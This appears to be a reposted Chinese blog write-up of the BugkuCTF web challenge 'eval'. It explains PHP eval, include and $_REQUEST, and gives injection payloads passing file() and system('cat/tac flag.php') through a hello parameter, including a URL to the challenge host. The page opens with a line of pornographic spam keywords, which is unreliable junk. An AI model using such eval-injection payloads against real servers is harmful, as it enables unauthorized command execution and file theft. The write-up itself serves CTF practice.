日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

BugkuCTF-WEB题eval

發(fā)布時間:2024/9/27 编程问答 22 豆豆
生活随笔 收集整理的這篇文章主要介紹了 BugkuCTF-WEB题eval 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

基礎(chǔ)知識:
var_dump() 函數(shù)用于輸出變量的相關(guān)信息。
var_dump() 函數(shù)顯示關(guān)于一個或多個表達式的結(jié)構(gòu)信息,包括表達式的類型與值。數(shù)組將遞歸展開值,通過縮進顯示其結(jié)構(gòu)。

此題考察php相關(guān)
include是將flag.php文件包含進頁面代碼
$request可用于接受get和post的傳遞的參數(shù)
eval函數(shù)可以把字符串作為php命令執(zhí)行

知道這些你就可以用get方法傳遞hello變量,并在hello其內(nèi)寫入查看flag.php的命令了

?hello=file(‘flag.php’)
或者
hello=system(“cat flag.php”) 查看源碼

http://114.67.246.176:16602/?hello=system(‘tac flag.php’)

總結(jié)

以上是生活随笔為你收集整理的BugkuCTF-WEB题eval的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。